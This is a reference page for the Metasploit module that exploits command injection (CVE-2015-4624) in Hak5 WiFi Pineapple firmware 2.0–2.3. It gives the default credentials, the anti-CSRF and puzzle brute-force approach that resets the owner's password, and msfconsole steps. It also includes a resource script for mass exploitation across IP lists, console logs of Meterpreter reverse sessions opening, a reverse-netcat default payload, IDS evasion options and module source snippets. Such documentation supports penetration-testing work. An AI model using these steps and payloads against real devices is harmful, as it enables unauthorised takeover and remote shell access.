Hak5 WiFi Pineapple Preconfiguration Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/http/pineapple_preconfig_cmdinject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Hak5 WiFi Pineapple Preconfiguration Command Injection
Module: exploit/linux/http/pineapple_preconfig_cmdinject
Source code: modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
Disclosure date: 2015-08-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 1471, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-4624
This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4. We use a combination of default credentials with a weakness in the anti-csrf generation to achieve command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail, you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a known password if successful and may interrupt the user experience. These devices may typically be identified by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting worm.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using pineapple_preconfig_cmdinject against a single host
Normally, you can use exploit/linux/http/pineapple_preconfig_cmdinject this way:
msf > use exploit/linux/http/pineapple_preconfig_cmdinject
msf exploit(pineapple_preconfig_cmdinject) > show targets
... a list of targets ...
msf exploit(pineapple_preconfig_cmdinject) > set TARGET target-id
msf exploit(pineapple_preconfig_cmdinject) > show options
... show and set options ...
msf exploit(pineapple_preconfig_cmdinject) > exploit
Using pineapple_preconfig_cmdinject against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your pineapple_preconfig_cmdinject will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/pineapple_preconfig_cmdinject")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Knowledge Base
Vulnerable Application
This module uses a challenge solver exploit which impacts two possible states of the device: pre-password set and post-password set. The pre-password set vulnerability uses a default password and a weak anti-CSRF (CVE-2015-4624) check to obtain shell by logging in and pre-computing the solution to the anti-CSRF check.
The post-password set vulnerability uses the fact that there is a 1 in 27 chance of correctly guessing the challenge solution. This attack resets the password to a password chosen by the attacker (we suggest the default 'pineapplesareyummy' to decrease collateral damage on victims) and then performs the same anti-CSRF attack as the pre-password vulnerability.
This exploit uses a utility function in /components/system/configuration/functions.php to execute commands once authorization has been bypassed.
Verification Steps
This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The default options are generally effective due to having a set state after being flashed. You will need to be connected to the WiFi pineapple network (e.g. via WiFi or ethernet).
Assuming the above 2.3 firmware is installed, this exploit should always work. If it does not, try it again. It should always work as long as the pineapple is in its default configuration.
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Msfconsole Usage
Here is how the linux/http/pineapple_preconfig_cmdinject exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/pineapple_preconfig_cmdinject
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show info
Name: Hak5 WiFi Pineapple Preconfiguration Command Injection
Module: exploit/linux/http/pineapple_preconfig_cmdinject
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-08-01
Provided by:
catatonicprime
Available targets:
Id Name
-- ----
0 WiFi Pineapple 2.0.0 - 2.3.0
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD pineapplesareyummy yes The password to use for login
PHPSESSID tospovirus yes PHPSESSID to use for attack
RHOSTS 172.16.42.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1471 yes The target port (TCP)
TARGETURI /components/system/configuration/functions.php yes Path to the command injection
USERNAME root yes The username to use for login
Payload information:
Space: 2048
Description:
This module exploits a command injection vulnerability on WiFi
Pineapples version 2.0 <= pineapple < 2.4. We use a combination of
default credentials with a weakness in the anti-csrf generation to
achieve command injection on fresh pineapple devices prior to
configuration. Additionally if default credentials fail, you can
enable a brute force solver for the proof-of-ownership challenge.
This will reset the password to a known password if successful and
may interrupt the user experience. These devices may typically be
identified by their SSID beacons of 'Pineapple5_....'; details
derived from the TospoVirus, a WiFi Pineapple infecting worm.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-4624
Module Options
This is a complete list of options available in the linux/http/pineapple_preconfig_cmdinject exploit:
msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show options
Module options (exploit/linux/http/pineapple_preconfig_cmdinject):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD pineapplesareyummy yes The password to use for login
PHPSESSID tospovirus yes PHPSESSID to use for attack
RHOSTS 172.16.42.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1471 yes The target port (TCP)
TARGETURI /components/system/configuration/functions.php yes Path to the command injection
USERNAME root yes The username to use for login
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WiFi Pineapple 2.0.0 - 2.3.0
Advanced Options
Here is a complete list of advanced options supported by the linux/http/pineapple_preconfig_cmdinject exploit:
msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show advanced
Module advanced options (exploit/linux/http/pineapple_preconfig_cmdinject):
Name Current Setting Required Description
---- --------------- -------- -----------
BruteForce false no When true, attempts to solve LED puzzle after login failure
BruteForceTries 0 no Number of tries to solve LED puzzle, 0 -> infinite
DisablePayloadHandler false no Disable the handler code for the selected payload
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/pineapple_preconfig_cmdinject module can exploit:
msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show targets
Exploit targets:
Id Name
-- ----
0 WiFi Pineapple 2.0.0 - 2.3.0
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/pineapple_preconfig_cmdinject exploit:
msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
1 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
2 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
3 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
4 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
5 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
6 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
7 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
8 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
9 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/pineapple_preconfig_cmdinject exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/pineapple_preconfig_cmdinject) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Brute forcing not available...
Here is a relevant code snippet related to the "Brute forcing not available..." error message:
170: 'uri' => brute_uri
171: )
172:
173: # Confirm the response indicates there is a puzzle to be solved.
174: if !res || !(res.code == 200) || res.body !~ /own this pineapple/
175: print_status('Brute forcing not available...')
176: return nil
177: end
178:
179: cookies = res.get_cookies
180: counter = 0
Failed to brute force puzzle in <COUNTER> tries...
Here is a relevant code snippet related to the "Failed to brute force puzzle in <COUNTER> tries..." error message:
197: if res && res.code == 200 && res.body =~ /set_password/
198: print_good('Successfully solved puzzle!')
199: return write_password(cookies)
200: end
201: end
202: print_warning("Failed to brute force puzzle in #{counter} tries...")
203: nil
204: end
205:
206: def write_password(cookies)
207: print_status("Attempting to set password to: #{password}")
Failed to set password
Here is a relevant code snippet related to the "Failed to set password" error message:
219: )
220: if res && res.code == 200 && res.body =~ /success/
221: print_good('Successfully set password!')
222: return res
223: end
224: print_warning('Failed to set password')
225:
226: nil
227: end
228:
229: def check
Failed to login PHPSESSID <PHPSESSID> with <USERNAME>:<PASSWORD>
Here is a relevant code snippet related to the "Failed to login PHPSESSID <PHPSESSID> with <USERNAME>:<PASSWORD>" error message:
249: if !loggedin && use_brute
250: brute_force
251: loggedin = login
252: end
253: unless loggedin
254: fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
255: end
256:
257: print_status('Executing payload...')
258: cmd_inject("#{payload.encoded}")
259: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7286 Merged Pull Request: Adding WiFi pineapple preconfig command injection module.
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/pineapple_bypass_cmdinject
- exploit/linux/http/huawei_hg532n_cmdinject
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/windows/browser/notes_handler_cmdinject
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
Authors
- catatonicprime
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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